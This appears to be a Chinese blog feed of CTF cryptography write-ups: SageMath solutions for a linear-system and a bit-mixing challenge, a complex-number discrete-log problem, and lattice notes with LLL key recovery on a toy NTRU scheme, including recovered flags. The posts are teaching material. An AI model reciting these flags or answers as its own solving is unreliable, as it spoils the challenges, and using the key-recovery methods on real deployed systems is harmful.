[125, 2996, 452635961261861, 5640012588785953252742, 663780389523502221593026277, 5845169438213803974237048659360, 9887686914794970408229246877837261, 5337690699007613492950100661443838386, 1246816454677070240427082753828238163437, 153460164802093351535746693021820792205932, 11388634061367409705082975835211766201321045, 561110174338870387179778825126282853603302526, 19707795929255451006208863819787576643829770261, 520881194974728297519631110000138317264353793432, 10805092812709807233540502091207064827348602091837, 181889014548692631324457891650518586246753508973930, 2552507382661657536880498041728210235325197081880541, 30526683751460091693383854169085501144119622770115236, 316865109417499484669699487403444039480141224348233477, 2898653848895952221370426792142177095594525094522186742, 23673843301340973009664515191259831073817022946431821765, 174539049232138773732842515032017313916154669096708343056, 1172733551080318790000994789603513594241654018460818966061, 7240523617671723109603340026802418603641003659017975484322, 41374103585680599659105199547442215866047005195866840568397, 220199857217101214349082389841043173220339718159981048158300, 1097626867177210522501108725164094179734775217327646541376821, 5149764870836833092990530866127123407661712365054932690325486, 22841615951981693536493860837124386678939843016655243827081717, 96157610067108350424366847753813154389844296991097936198764552, 385562422203859626216008093491644153104891734674128504106992285, 1477221645609927756179115371650629543504813846434947526324458586, 5423633936317940537039114323538499637949438626254731152203731261, 19132290548239069397038234653722740430029897400022438133844971412, 64999757417753858733496171026572335062387390211817558640690377957, 213142909661667580939007866138222724809887474172878584374436922470, 675944013875172159995957069622450735032975415629563730466165480101, 2076951592374410038709677191998396913746258932819180055450081131136, 6193688888445369259889561497114942414360276754293622820640778134157, 17953715518690549873845638320302721807364019714363222114478505961362, 50659931725962874327370012361788145918161221262881139309840223762605, 139334089414772808841572383856822545223058318039478733568743937623116]

仔细分析 map , reduce 和 lambda，可以得到关系：

M=[0⋯0011n−1⋯121112n−1⋯22211⋮⋱⋮⋮⋮(n−1)n−1⋯(n−1)2(n−1)11]n×n\mathbf{M} = \begin{bmatrix} 0 & \cdots & 0 & 0 & 1\\ 1^{n-1} & \cdots & 1^{2} & 1^{1} & 1\\ 2^{n-1} & \cdots & 2^{2} & 2^{1} & 1\\ \vdots & \ddots & \vdots & \vdots & \vdots\\ (n-1)^{n-1} & \cdots & (n-1)^{2} & (n-1)^{1} & 1 \end{bmatrix}_{n \times n}M=01n−12n−1⋮(n−1)n−1⋯⋯⋯⋱⋯01222⋮(n−1)201121⋮(n−1)1111⋮1n×nMu=v\mathbf{M} \mathbf{u} = \mathbf{v}Mu=v

其中 M\mathbf{M}M 为系数矩阵，u\mathbf{u}u 为编码的 flag，v\mathbf{v}v 为输出的密文，很容易写出解题脚本：

1
M = matrix(42)
2
for i in range(42):
3
    for j in range(42):
4
        M[i, 41-j] = i ^ j
5

6
assert M[0, -1] == 1 # 0^0=1 in Sagemath
7

8
v = vector([125, 2996, ...])
9
u = M^-1 * v
10
flag = bytes(u)
11
print(flag)
12
# b'flag{b67eb341-1e2d-4964-bb19-3ae28679871f}'

不过，比赛期间并非是这样出的

当时想到 sage 可以用 CAS 计算，那为何不试试让他直接解方程组呢？

于是有了下面的脚本，都不需要手撕原来的 map , reduce 和 lambda

1
from functools import reduce
2

3
u = var([f"x{i}" for i in range(42)])
4
v = vector([125, 2996, ...])
5

6
equ = vector(list(map(lambda x: reduce(lambda t, y: t * x + y, u), range(42)))) - vector(v)
7
res = solve([*equ], *u)
8
assert len(res) == 1
9
print(res)
10
# [[x0 == 102, x1 == 108, x2 == 97, x3 == 103, x4 == 123, x5 == 98, x6 == 54, x7 == 55, x8 == 101, x9 == 98, x10 == 51, x11 == 52, x12 == 49, x13 == 45, x14 == 49, x15 == 101, x16 == 50, x17 == 100, x18 == 45, x19 == 52, x20 == 57, x21 == 54, x22 == 52, x23 == 45, x24 == 98, x25 == 98, x26 == 49, x27 == 57, x28 == 45, x29 == 51, x30 == 97, x31 == 101, x32 == 50, x33 == 56, x34 == 54, x35 == 55, x36 == 57, x37 == 56, x38 == 55, x39 == 49, x40 == 102, x41 == 125]]
11

12
flag = bytes([res[0][i].right() for i in range(42)])
13
print(flag)
14
# b'flag{b67eb341-1e2d-4964-bb19-3ae28679871f}'

虽然直接列线性方程组难度不高，但是这个很有趣，并且直接启发我做出了下一题

supercomputer#

1
def f(x):
2
    x ^= ((x >> 11) & 0xb114514bb114514b)
3
    x ^= ((x << 13) & 0x114514cc114514cc)
4
    x ^= ((x << 17) & 0xaa191981aa191981)
5
    x ^= ((x >> 19) & 0xb1919810b1919810)
6
    x ^= ((x << 23) & 0x114514cd114514cd)
7
    x ^= ((x >> 29) & 0xb114514ab114514a)
8
    x ^= ((x << 31) & 0x114514cb114514cb)
9
    x ^= ((x << 37) & 0xaa19198caa19198c)
10
    x ^= ((x >> 41) & 0xb191981db191981d)
11
    x ^= ((x << 43) & 0x114514ce114514ce)
12
    return x
13

14
def calc(n):
15
    x = 0x1122334455667788
16
    for _ in range(n):
17
        x = f(x)
18
    return x
19

20
assert calc(1) == 0xaa732acf4eb6a79d
21
assert calc(10) == 0x28262ecbd673b7d7
22
assert calc(100) == 0x23a6b8be477b7c3
23
assert calc(1000) == 0x93737600f66aa785
24
assert calc(100000) == 0x8a762387c4e3aed8
25
assert calc(1000000) == 0x1267270a756bf7df
26
assert calc(10000000) == 0x39377648f4e367d7
27
assert calc(100000000) == 0x82232f8777773e8a
28
assert calc(1000000000) == 0x8762b83d6faa783
29
assert calc(10000000000) == 0x27237cdd6726788
30
assert calc(100000000000) == 0x97f6b44e7fe66de
31
assert calc(1000000000000) == 0x88723b8666ff27ca
32
assert calc(10000000000000) == 0x8a32670ee5ef6ec0
33
assert calc(100000000000000) == 0x993b3b4265ea6edb
34
assert calc(1000000000000000) == 0x8b732ec065e7e795
35

36
print('flag{%s}' % hex(calc(10000000000000000)))

展开收起

这就纯纯算法题（？

一开始把已知的一串十六进制改成二进制观察规律，找到了个别 bit 至始至终没有发生改变，但是其他的没有任何思路

然后基于上一题的灵感，想到 f(x) 不就是函数式编程中所谓的纯函数吗？

那么我们可以把这个函数方法 f(x) 改写为等效的函数映射 f:ULL→ULLf: ULL \to ULLf:ULL→ULL

即一个在 64bit 的非负整数 (unsigned long long) 域内的*映射*

那么只要找到这个改写方法，这样就可以从数学角度研究该函数映射的*可结合性*

我的方法是将这个 64bit 的 ULL 拆成 64 个 PolynomialRing(Zmod(2))

1
Bool.<x0,x1,x2,x3,x4,x5,x6,x7,x8,x9,x10,x11,x12,x13,x14,x15,x16,x17,x18,x19,x20,x21,x22,x23,x24,x25,x26,x27,x28,x29,x30,x31,x32,x33,x34,x35,x36,x37,x38,x39,x40,x41,x42,x43,x44,x45,x46,x47,x48,x49,x50,x51,x52,x53,x54,x55,x56,x57,x58,x59,x60,x61,x62,x63> = PolynomialRing(Zmod(2))
2
X = [x0,x1,x2,x3,x4,x5,x6,x7,x8,x9,x10,x11,x12,x13,x14,x15,x16,x17,x18,x19,x20,x21,x22,x23,x24,x25,x26,x27,x28,x29,x30,x31,x32,x33,x34,x35,x36,x37,x38,x39,x40,x41,x42,x43,x44,x45,x46,x47,x48,x49,x50,x51,x52,x53,x54,x55,x56,x57,x58,x59,x60,x61,x62,x63]

我确实不知道怎么直接申请多项式环上的 64 个变量了，丑点就丑点吧（逃

拆开后很方便位移

我们约定 x0 表示最低位，x63 表示最高位

那么例如 6106_{10}610 就可以写作 [x0, x1, x2, x3, x4, x5, x6, x7, ...] = [0, 1, 1, 0, 0, 0, 0, 0, ...]

1
def hex2bin(a):
2
    return list(map(int, list(bin(a+(1<<64))[3:])))[::-1]
3
  # 人话: 输入 ULL 加上 (1<<64) 用于占位，bin() 后取每个字符 int() 的结果存入数组
4

5
def bin2hex(a):
6
    return hex(int( ''.join(list(map(str, a)))[::-1] ,2))
7
  # 人话: 列表中每个元素 str() 后拼接起来，倒个序再转成 int，最后输出 hex

数学左移 aaa 位就是这个数组向 后/右 移动 aaa 位，数学右移 aaa 位就是这个数组向 前/左 移动 aaa 位

但是由于每次左右移后都有一个按位与逻辑，溢出的位等效于被直接丢弃，而非从另一端循环或扩展数组长度

1
def left(x, a):
2
    return [*[0 for _ in range(a)] , *x[ :(len(x) - a)]]
3

4
def right(x, a):
5
    return [*x[a:] , *[0 for _ in range(a)]]

实现按位与逻辑和按位或逻辑，也就是转成 F2[x0,x1,⋯ ,x63]\mathbb{F}_2[x_0, x_1, \cdots, x_{63}]F2[x0,x1,⋯,x63] 下的 +++ 和 ×\times×

底层全部交给 sage 的 CAS 系统，非常舒适

1
def and_(x, a):
2
    x = deepcopy(x)
3
    a_ = hex2bin(a)
4
    for i in range(len(x)):
5
        x[i] *= a_[i]
6
    return x
7

8
def xor_(x , y):
9
    x = deepcopy(x)
10
    for i in range(len(x)):
11
        x[i] += y[i]
12
    return x

然后就可以组合函数以实现 f() 和 calc()

1
from copy import deepcopy
2

3
def f(x):
4
    x = deepcopy(x)
5
    x = xor_(x, and_(right(x, 11) , 0xb114514bb114514b))
6
    x = xor_(x, and_(left(x, 13) , 0x114514cc114514cc))
7
    x = xor_(x, and_(left(x, 17) , 0xaa191981aa191981))
8
    x = xor_(x, and_(right(x, 19) , 0xb1919810b1919810))
9
    x = xor_(x, and_(left(x, 23) , 0x114514cd114514cd))
10
    x = xor_(x, and_(right(x, 29) , 0xb114514ab114514a))
11
    x = xor_(x, and_(left(x, 31) , 0x114514cb114514cb))
12
    x = xor_(x, and_(left(x, 37) , 0xaa19198caa19198c))
13
    x = xor_(x, and_(right(x, 41) , 0xb191981db191981d))
14
    x = xor_(x, and_(left(x, 43) , 0x114514ce114514ce))
15
    return x
16

17
F = f(X)
18

19
def calc(x, n):
20
    x = deepcopy(x)
21
    for i in range(n):
22
        x = f(x)
23
    return x

展开收起

上面 X 是所有元的向量，也可以是一个**恒等函数**

F = f(X) 是进行一次 fff 的映射

简单测验不难发现并证明：

(fa∘fb)(x)=fb(fa(x))=fb+a(x)=fa+b(x)=fa(fb(x))=(fb∘fa)(x)(f^a \circ f^b)(\mathbf{x}) = f^b (f^a(\mathbf{x})) = f^{b+a}(\mathbf{x}) = f^{a+b}(\mathbf{x}) = f^a (f^b(\mathbf{x})) = (f^b \circ f^a)(\mathbf{x})(fa∘fb)(x)=fb(fa(x))=fb+a(x)=fa+b(x)=fa(fb(x))=(fb∘fa)(x)

即纯函数 fnf^nfn 是可结合的

然后借用了快速幂的思想，也是尝试利用可结合性来优化，将复杂度由 O(n)O(n)O(n) 降低至 O(log⁡n)O(\log n)O(logn)

1
def compose(x, y):
2
    return [x[i](y) for i in range(len(x))]
3

4
def quick_calc(F, n):
5
    F = deepcopy(F)
6
    result = deepcopy(X)
7
    while n > 0:
8
        if n & 1 == 1:
9
            result = compose(result, F)
10
        F = compose(F, F)
11
        n >>= 1
12
    return result

剩下就可以通过

1
def compute(F, a):
2
    return bin2hex(compose(F, hex2bin(a)))

来带值计算

综上，整理脚本如下：

1
# 将 unsigned long long 数转化为 $\mathbb{F}_2[x_0, x_1, \cdots, x_{63}]$
2
from copy import deepcopy
3

4
Bool.<x0,x1,x2,x3,x4,x5,x6,x7,x8,x9,x10,x11,x12,x13,x14,x15,x16,x17,x18,x19,x20,x21,x22,x23,x24,x25,x26,x27,x28,x29,x30,x31,x32,x33,x34,x35,x36,x37,x38,x39,x40,x41,x42,x43,x44,x45,x46,x47,x48,x49,x50,x51,x52,x53,x54,x55,x56,x57,x58,x59,x60,x61,x62,x63> = PolynomialRing(Zmod(2))
5
X = [x0,x1,x2,x3,x4,x5,x6,x7,x8,x9,x10,x11,x12,x13,x14,x15,x16,x17,x18,x19,x20,x21,x22,x23,x24,x25,x26,x27,x28,x29,x30,x31,x32,x33,x34,x35,x36,x37,x38,x39,x40,x41,x42,x43,x44,x45,x46,x47,x48,x49,x50,x51,x52,x53,x54,x55,x56,x57,x58,x59,x60,x61,x62,x63]
6

7

8
def hex2bin(a):
9
    return list(map(int, list(bin(a+(1<<64))[3:])))[::-1]
10
  # 人话: 输入 ULL 加上 (1<<64) 用于占位，bin() 后取每个字符 int() 的结果存入数组
11

12
def bin2hex(a):
13
    return hex(int( ''.join(list(map(str, a)))[::-1] ,2))
14
  # 人话: 列表中每个元素 str() 后拼接起来，倒个序再转成 int，最后输出 hex
15

16
# 数学左移 <-> 数组右移 + 溢出
17
def left(x, a):
18
    return [*[0 for _ in range(a)] , *x[ :(len(x) - a)]]
19

20
# 数学右移 <-> 数组左移 + 溢出
21
def right(x, a):
22
    return [*x[a:] , *[0 for _ in range(a)]]
23

24
# 逻辑与 <-> 域乘
25
def and_(x, a):
26
    x = deepcopy(x)
27
    a_ = hex2bin(a)
28
    for i in range(len(x)):
29
        x[i] *= a_[i]
30
    return x
31

32
# 逻辑异或 <-> 域加
33
def xor_(x , y):
34
    x = deepcopy(x)
35
    for i in range(len(x)):
36
        x[i] += y[i]
37
    return x
38

39

40
def f(x):
41
    x = deepcopy(x)
42
    x = xor_(x, and_(right(x, 11) , 0xb114514bb114514b))
43
    x = xor_(x, and_(left(x, 13) , 0x114514cc114514cc))
44
    x = xor_(x, and_(left(x, 17) , 0xaa191981aa191981))
45
    x = xor_(x, and_(right(x, 19) , 0xb1919810b1919810))
46
    x = xor_(x, and_(left(x, 23) , 0x114514cd114514cd))
47
    x = xor_(x, and_(right(x, 29) , 0xb114514ab114514a))
48
    x = xor_(x, and_(left(x, 31) , 0x114514cb114514cb))
49
    x = xor_(x, and_(left(x, 37) , 0xaa19198caa19198c))
50
    x = xor_(x, and_(right(x, 41) , 0xb191981db191981d))
51
    x = xor_(x, and_(left(x, 43) , 0x114514ce114514ce))
52
    return x
53

54

55
def calc(x, n):
56
    x = deepcopy(x)
57
    for i in range(n):
58
        x = f(x)
59
    return x
60

61
# 函数的复合
62
def compose(x, y):
63
    return [x[i](y) for i in range(len(x))]
64

65
# 类似快速幂，O(n) -> O(log n)
66
def quick_calc(F, n):
67
    F = deepcopy(F)
68
    result = deepcopy(X)
69
    while n > 0:
70
        if n & 1 == 1:
71
            result = compose(result, F)
72
        F = compose(F, F)
73
        n >>= 1
74
    return result
75

76
def compute(F, a):
77
    return bin2hex(compose(F, hex2bin(a)))
78

79

80
F = f(X)
81
result = compute(quick_calc(F, 10000000000000000), 0x1122334455667788)
82
flag = f"flag{{{result}}}"
83
print(flag)
84
# flag{0xa8276600c7e3b6d9}

展开收起

后记#

前段时间网鼎杯*半决赛*，当时打算晚上就整理一下的，结果各种事一直拖了这么久（（

接下来几周要好好整理博客了

离散对数问题

Sun, 05 May 2024 00:00:00 GMT

写在前面#

通常习惯把各种链接资料放在文章末尾，但是这次有很多很多很好的资料，想先写在前面

对sage各种DLP方法的介绍离散对数
pohlig-hellman算法(适用于p-1光滑)很细致的例子离散对数问题——pohlig-hellman算法讲解(有例子)

目前我学习的ECC相关还少，下面的内容基本只涉及普通有限域的内容，

sage函数 #

参数说明：base底，a的对数，ord为base的阶，可以缺省，operation可以是+与*，默认为*；bounds是一个区间(ld, ud)需要保证所计算的对数在此去区间内。

通用的方法： discrete_log(a,base,ord,operation)
Pollard-Rho算法：discrete_log_rho(a,base,ord,operation)
Pollard-kangaroo算法（lambda算法）：discrete_log_lambda(a,base,bounds,operation)
小步大步法(Baby Step Giant Step)：bsgs(base,a,bounds,operation)

一些🌰#

秒解的dlp#

[XYCTF 2024]Complex_dlp#

题目附件

1
from Crypto.Util.number import *
2
from secrets import flag
3

4

5
class Complex:
6
    def __init__(self, re, im):
7
        self.re = re
8
        self.im = im
9

10
    def __mul__(self, c):
11
        re_ = self.re * c.re - self.im * c.im
12
        im_ = self.re * c.im + self.im * c.re
13
        return Complex(re_, im_)
14

15
    def __str__(self):
16
        if self.im == 0:
17
            return str(self.re)
18
        elif self.re == 0:
19
            if abs(self.im) == 1:
20
                return f"{'-' if self.im < 0 else ''}i"
21
            else:
22
                return f"{self.im}i"
23
        else:
24
            return f"{self.re} {'+' if self.im > 0 else '-'} {abs(self.im)}i"
25

26

27
def complex_pow(c, exp, n):
28
    result = Complex(1, 0)
29
    while exp > 0:
30
        if exp & 1:
31
            result = result * c
32
            result.re = result.re % n
33
            result.im = result.im % n
34
        c = c * c
35
        c.re = c.re % n
36
        c.im = c.im % n
37
        exp >>= 1
38
    return result
39

40

41
flag = flag.strip(b"XYCTF{").strip(b"}")
42
p = 1127236854942215744482170859284245684922507818478439319428888584898927520579579027
43
g = Complex(3, 7)
44
x = bytes_to_long(flag)
45
print(complex_pow(g, x, p))
46
# 5699996596230726507553778181714315375600519769517892864468100565238657988087817 + 198037503897625840198829901785272602849546728822078622977599179234202360717671908i

展开收起

复数域下的DLP问题

(3+7i)x≡y(modp)(3+7i)^x \equiv y \pmod{p}(3+7i)x≡y(modp)

尝试过从模长、辐角和实部虚部自身关系入手，实在难以处理 mod p\mod{p}modp 这个条件:

自己写一段小数尝试找规律：

1
g = Complex(3,7)
2
p = 17
3
for x in range(64):
4
    y = complex_pow(g,x,p)
5
    re,im = y.re, y.im
6
    print(f"{x = } \t {str(y)} \t {re**2 + im**2} \t {(re**2 + im**2) % p}")
7

8
# x = 0    1               1       1
9
# x = 1    3 + 7i          58      7
10
# x = 2    11 + 8i         185     15
11
# x = 3    11 + 16i        377     3
12
# x = 4    6 + 6i          72      4
13
# x = 5    10 + 9i         181     11
14
# x = 6    1 + 12i         145     9
15
# x = 7    4 + 9i          97      12
16
# x = 8    4i              16      16
17
# x = 9    6 + 12i         180     10
18
# x = 10   2 + 10i         104     2
19
# x = 11   4 + 10i         116     14
20
# x = 12   10 + 7i         149     13
21
# x = 13   15 + 6i         261     6
22
# x = 14   3 + 4i          25      8
23
# x = 15   15 + 16i        481     5
24
# x = 16   1               1       1
25
# x = 17   3 + 7i          58      7
26
# x = 18   11 + 8i         185     15
27
# x = 19   11 + 16i        377     3
28
# x = 20   6 + 6i          72      4
29
# x = 21   10 + 9i         181     11
30
# x = 22   1 + 12i         145     9
31
# x = 23   4 + 9i          97      12
32
# x = 24   4i              16      16
33
# x = 25   6 + 12i         180     10
34
# x = 26   2 + 10i         104     2
35
# x = 27   4 + 10i         116     14
36
# x = 28   10 + 7i         149     13
37
# x = 29   15 + 6i         261     6
38
# x = 30   3 + 4i          25      8
39
# x = 31   15 + 16i        481     5
40
# x = 32   1               1       1
41
# x = 33   3 + 7i          58      7
42
# x = 34   11 + 8i         185     15
43
# x = 35   11 + 16i        377     3
44
# x = 36   6 + 6i          72      4
45
# x = 37   10 + 9i         181     11
46
# x = 38   1 + 12i         145     9
47
# x = 39   4 + 9i          97      12
48
# x = 40   4i              16      16
49
# x = 41   6 + 12i         180     10
50
# x = 42   2 + 10i         104     2
51
# x = 43   4 + 10i         116     14
52
# x = 44   10 + 7i         149     13
53
# x = 45   15 + 6i         261     6
54
# x = 46   3 + 4i          25      8
55
# x = 47   15 + 16i        481     5
56
# x = 48   1               1       1
57
# x = 49   3 + 7i          58      7
58
# x = 50   11 + 8i         185     15
59
# x = 51   11 + 16i        377     3
60
# x = 52   6 + 6i          72      4
61
# x = 53   10 + 9i         181     11
62
# x = 54   1 + 12i         145     9
63
# x = 55   4 + 9i          97      12
64
# x = 56   4i              16      16
65
# x = 57   6 + 12i         180     10
66
# x = 58   2 + 10i         104     2
67
# x = 59   4 + 10i         116     14
68
# x = 60   10 + 7i         149     13
69
# x = 61   15 + 6i         261     6
70
# x = 62   3 + 4i          25      8
71
# x = 63   15 + 16i        481     5

展开收起

复数yiy_iyi有明显的循环结构，但是其阶和 ppp 的关系不明确，瞎猜与 φ(p)=p2−1\varphi(p) = p^2 - 1φ(p)=p2−1 有关（？）

但是模长平方再模除的循环结构很明确，不完全归纳猜测其阶即为 p−1p-1p−1

简单证明一下：

记某复数 ccc 及其共轭为：

c=(a+bi)cˉ=(a−bi)c = (a+bi)\\ \bar{c} = (a-bi)c=(a+bi)cˉ=(a−bi)

则二者与模长平方的关系有：

ccˉ=cˉc=a2−b2i2=a2+b2c \bar{c} = \bar{c} c = a^2 - b^2 i^2 = a^2 + b^2ccˉ=cˉc=a2−b2i2=a2+b2

取正整数 nnn 作为指数：

(ccˉ)n=(cˉc)n=cncˉn=cˉncn=(a2+b2)n(c\bar{c})^n = (\bar{c} c)^n =c^n \bar{c} ^ n = \bar{c} ^ n c^n = (a^2 + b^2)^n(ccˉ)n=(cˉc)n=cncˉn=cˉncn=(a2+b2)n

关键的一个关系：

(ccˉ)n=cncˉn(c\bar{c})^n =c^n \bar{c} ^ n(ccˉ)n=cncˉn

其中 (ccˉ),(cncˉn)∈Z(c\bar{c}),(c^n \bar{c}^n) \in \mathbb{Z}(ccˉ),(cncˉn)∈Z，就可以应用模除了

1
p = 1127236854942215744482170859284245684922507818478439319428888584898927520579579027
2
re = 5699996596230726507553778181714315375600519769517892864468100565238657988087817
3
im = 198037503897625840198829901785272602849546728822078622977599179234202360717671908
4
Zp = Zmod(p)
5
g = Zp(3^2 + 7^2)
6
y = Zp(re ^ 2 + im ^ 2)
7
print("g =", g)
8
print("y =", y)
9
print("g ^ x = y")
10
# g = 58
11
# y = 440338354863477089588878295048682566041450520053821907911657559153659930236947297
12
# g ^ x = y

最后扔给discrete_log解之：

1
from Crypto.Util.number import *
2
p = 1127236854942215744482170859284245684922507818478439319428888584898927520579579027
3
Zp = Zmod(p)
4
g = Zp(58)
5
y = Zp(440338354863477089588878295048682566041450520053821907911657559153659930236947297)
6
# g ^ x = y
7
x = discrete_log(y,g)
8
print("x =",x)
9
print(long_to_bytes(x))
10
# x = 11043386733210093783917591062922767739440701223101839768310052590794700044066655
11
# b'___c0mp13x_d1p_15_3@5y_f0r_y0u___'

秒解的原因猜测 —— (p−1)(p-1)(p−1) 光滑，可用pohlig-hellman算法

1
p = 1127236854942215744482170859284245684922507818478439319428888584898927520579579027
2
print(factor(p-1))
3
# 2 * 269 * 1787 * 12923 * 13513 * 25127 * 26267 * 31957 * 49921 * 57163 * 60101 * 71353 * 73039 * 73091 * 75193 * 76163 * 88001 * 96233 * 100469

需要#

格Lattice学习笔记(持续更新)

Sun, 24 Mar 2024 00:00:00 GMT

格(Lattice)#

前置知识#

线性代数：向量、矩阵、线性方程、线性空间、线性相关、基

什么是格#

格与格基#

令b0,b1,⋯ ,bn−1\mathbf{b_0},\mathbf{b_1}, \cdots ,\mathbf{b_{n-1}}b0,b1,⋯,bn−1为空间Rm\mathbb{R}^mRm上一组线性无关的向量(m≥nm \ge nm≥n)，则集合

L(b0,b1,⋯ ,bn−1):={∑i=0n−1xibi:x∈Z}\mathcal{L}(\mathbf{b_0},\mathbf{b_1}, \cdots ,\mathbf{b_{n-1}}) := \{\sum_{i = 0}^{n-1}x_i\mathbf{b_i}:x \in \mathbb{Z}\}L(b0,b1,⋯,bn−1):={i=0∑n−1xibi:x∈Z}

被称作一个格

其中矩阵B:=[b0,b1,⋯ ,bn−1]\mathbf{B} := [\mathbf{b_0},\mathbf{b_1}, \cdots ,\mathbf{b_{n-1}}]B:=[b0,b1,⋯,bn−1]称为该格的格基，所以格又可以表示为：

L(B):={Bx:x∈Zn}\mathcal{L}(\mathbf{B}) := \{\mathbf{Bx} : \mathbf{x} \in \mathbb{Z}^n\}L(B):={Bx:x∈Zn}

基本域#

设B=[b0,b1,⋯ ,bn−1]B = [\mathbf{b_0},\mathbf{b_1}, \cdots ,\mathbf{b_{n-1}}]B=[b0,b1,⋯,bn−1]为一组格基，则该组格基的基本域为：

F(b0,b1,⋯ ,bn−1):={∑i=0n−1tibi:0≤ti<1}\mathcal{F}(\mathbf{b_0},\mathbf{b_1}, \cdots ,\mathbf{b_{n-1}}) := \{\sum_{i=0}^{n-1}t_i\mathbf{b_i}:0 \le t_i < 1\}F(b0,b1,⋯,bn−1):={i=0∑n−1tibi:0≤ti<1}

高斯启发式（The Gaussian Heuristic）#

LLL是nnn维格，高斯所期望的最短长度为

σ(L)=n2πe(det⁡L)1n\sigma(L) = \sqrt{\frac{n}{2 \pi e}} (\det{L})^{\frac{1}{n}}σ(L)=2πen(detL)n1

高斯启发式表示，在一个“随机选择的格”中的最短非零向量满足

∣∣vshortest∣∣≈σ(L)||v_{shortest}|| \approx \sigma(L)∣∣vshortest∣∣≈σ(L)

更精确地，如果确定了ϵ>0\epsilon > 0ϵ>0，则当nnn足够大时这个随机的nnn维格将满足

(1−ϵ)σ(L)≤∣∣vshortest∣∣≤(1+ϵ)σ(L)(1 - \epsilon )\sigma(L) \le || v_{shortest} || \le (1 + \epsilon ) \sigma(L)(1−ϵ)σ(L)≤∣∣vshortest∣∣≤(1+ϵ)σ(L)

P.S：看不懂一点，直接从An Introduction to Mathematical Cryptography抄来的（逃

最短向量问题(SVP,The Short Vector Problem)#

在格L\mathcal{L}L中找到最短的非零向量

对于高维格很难解决，但是可以利用LLLLLLLLL算法在多项式时间内求解近似最短近似非零向量，如在SageMath中：

1
B = matrix(ZZ,[[3,9],[1,1]])
2
L = B.LLL()
3
# or
4
L = B.BKZ(block_size=2)
5
shortestV = L[0]

一般用BKZ效果会比LLL好，其中的block_size设置越大效果越好，但算得越慢，最大是格的维度

格攻击简单实例#

例1：ez_NTRU#

例题代码

1
from Crypto.Util.number import getPrime, inverse, bytes_to_long, long_to_bytes
2
import random
3
import math
4

5
FLAG = b'crypto{?????????????????????}'
6

7

8
def gen_key():
9
    q = getPrime(512)
10
    upper_bound = int(math.sqrt(q // 2))
11
    lower_bound = int(math.sqrt(q // 4))
12
    f = random.randint(2, upper_bound)
13
    while True:
14
        g = random.randint(lower_bound, upper_bound)
15
        if math.gcd(f, g) == 1:
16
            break
17
    h = (inverse(f, q)*g) % q
18
    return (q, h), (f, g)
19

20

21
def encrypt(q, h, m):
22
    assert m < int(math.sqrt(q // 2))
23
    r = random.randint(2, int(math.sqrt(q // 2)))
24
    e = (r*h + m) % q
25
    return e
26

27

28
def decrypt(q, h, f, g, e):
29
    a = (f*e) % q
30
    m = (a*inverse(f, g)) % g
31
    return m
32

33

34
public, private = gen_key()
35
q, h = public
36
f, g = private
37

38
m = bytes_to_long(FLAG)
39
e = encrypt(q, h, m)
40

41
print(f'Public key: {(q,h)}')
42
print(f'Encrypted Flag: {e}')
43

44

45
'''
46
Public key: (7638232120454925879231554234011842347641017888219021175304217358715878636183252433454896490677496516149889316745664606749499241420160898019203925115292257, 2163268902194560093843693572170199707501787797497998463462129592239973581462651622978282637513865274199374452805292639586264791317439029535926401109074800)
47
Encrypted Flag: 5605696495253720664142881956908624307570671858477482119657436163663663844731169035682344974286379049123733356009125671924280312532755241162267269123486523
48
'''

展开收起

加解密原理：

密钥选取：

p is a primerandom: 2<f<q2 random: q4<g<q2gcd⁡(f,g)=1h=fq−1gmod qpublic key: (q,h)private key: (f,g)p \space \text{is a prime} \\ \text{random: }2 < f < \sqrt{\frac{q}{2}}\space \\ \text{random: }\sqrt{\frac{q}{4}} < g < \sqrt{\frac{q}{2}}\\ \gcd(f,g) = 1\\ h = f_q^{-1}g \mod{q}\\ \text{public key: }(q,h)\\ \text{private key: }(f,g)\\p is a primerandom: 2<f<2q random: 4q<g<2qgcd(f,g)=1h=fq−1gmodqpublic key: (q,h)private key: (f,g)

加密：

plaintext: m<q2random: 2<r<q2e=(rh+m)mod qciphertext: e\text{plaintext: }m < \sqrt{\frac{q}{2}}\\ \text{random: }2 < r < \sqrt{\frac{q}{2}}\\ e = (rh + m) \mod{q} \\ \text{ciphertext: } eplaintext: m<2qrandom: 2<r<2qe=(rh+m)modqciphertext: e

解密：

a=femod qm=afg−1mod ga = fe \mod{q}\\ m = af_g^{-1} \mod{g}a=femodqm=afg−1modg

解密原理：

a=femod q=frh+fmmod q=frfq−1g+fmmod q=rg+fmmod q=rg+fmm=afg−1mod g=(rg+fm)fg−1mod g=m\begin{align} a &= fe \mod{q}\\ &= frh + fm \mod{q}\\ &= frf_q^{-1}g + fm \mod{q}\\ &= rg + fm \mod q\\ &= rg +fm \\ \\ m &= af_g^{-1} \mod{g}\\ &= (rg + fm)f_g^{-1} \mod{g}\\ &= m \end{align}am=femodq=frh+fmmodq=frfq−1g+fmmodq=rg+fmmodq=rg+fm=afg−1modg=(rg+fm)fg−1modg=m

解题：

关键需要知道私钥(f,g)(f,g)(f,g)

找关系

h=fq−1gmod qfh≡g(modq)fh=g+kqfh−kq=gh = f_q^{-1}g \mod{q}\\ fh \equiv g \pmod{q}\\ fh = g + kq\\ fh - kq = gh=fq−1gmodqfh≡g(modq)fh=g+kqfh−kq=g

两个未知量，一个已知方程，再构造一个方程

f−0k=ff - 0k = ff−0k=f

即

h⋅f−q⋅k=g1⋅f−0⋅k=fh \cdot f - q \cdot k = g \\ 1 \cdot f - 0 \cdot k = f\\h⋅f−q⋅k=g1⋅f−0⋅k=f

目的是将线性方程分离为已知的矩阵和未知的向量

(f−k)(h1q0)=(gf)\begin{pmatrix} f & -k \end{pmatrix} \begin{pmatrix} h & 1\\ q & 0 \end{pmatrix} = \begin{pmatrix} g & f \end{pmatrix}(f−k)(hq10)=(gf)vB=w\mathbf{v} \mathbf{B} = \mathbf{w}vB=w

所求w\mathbf{w}w，已知B\mathbf{B}B，在满足The Gaussian Heuristic的条件下~~(目前还没学明白)~~

对B\mathrm{B}B进行LLL格基规约，得到的最短向量即为w\mathbf{w}w

1
# sage
2
q = 7638232120454925879231554234011842347641017888219021175304217358715878636183252433454896490677496516149889316745664606749499241420160898019203925115292257
3
h = 2163268902194560093843693572170199707501787797497998463462129592239973581462651622978282637513865274199374452805292639586264791317439029535926401109074800
4
B = matrix(ZZ, [
5
    [h,1],
6
    [q,0]
7
]) # 构造格基
8
L = B.LLL()  # LLL格基规约
9
g,f = L[0]
10
g,f = abs(g), abs(f)
11

12
R = GF(q)
13
assert R(h) == R(f) ^ (-1) * R(g)
14
print("f =", f)
15
print("g =", g)
16
# f = 47251817614431369468151088301948722761694622606220578981561236563325808178756
17
# g = 43997957885147078115851147456370880089696256470389782348293341937915504254589
18
